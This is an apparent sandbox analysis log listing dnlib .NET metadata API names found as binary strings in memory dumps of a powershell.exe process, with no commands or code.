              Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.Current source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineModuleRef source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNameFromToken source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteFieldMarshal source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindField source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembers source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteClassLayout source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsValidToken source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Merge source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMemberRef source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetParamProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetSaveSize source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeRef source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResetEnum source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumProperties source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMembersWithName source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetCustomAttributeValue source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineCustomAttribute source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodImpls source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineEvent source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeByName source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethod source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.TranslateSigWithScope source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineUserString source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.Save source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeSpecFromToken source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPermissionSetProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNativeCallConvFromSig source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CountEnum source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodSemantics source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFields source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethods source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeRefProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetSigFromToken source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeSpecs source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.CloseEnum source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleRefProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToMemory source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeRefByName source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetScopeProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMember source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPropertyProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumParams source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.MergeEnd source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetEventProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumCustomAttributes source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumModuleRefs source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: System.Collections.Generic.IEnumerator<dnlib.DotNet.Pdb.PdbScope>.get_Current source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetCustomAttributeProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 0000000A.00000002.510375748.0000000006280000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000A.00000002.507482105.0000000003409000.00000004.00000800.00020000.00000000.sdmp
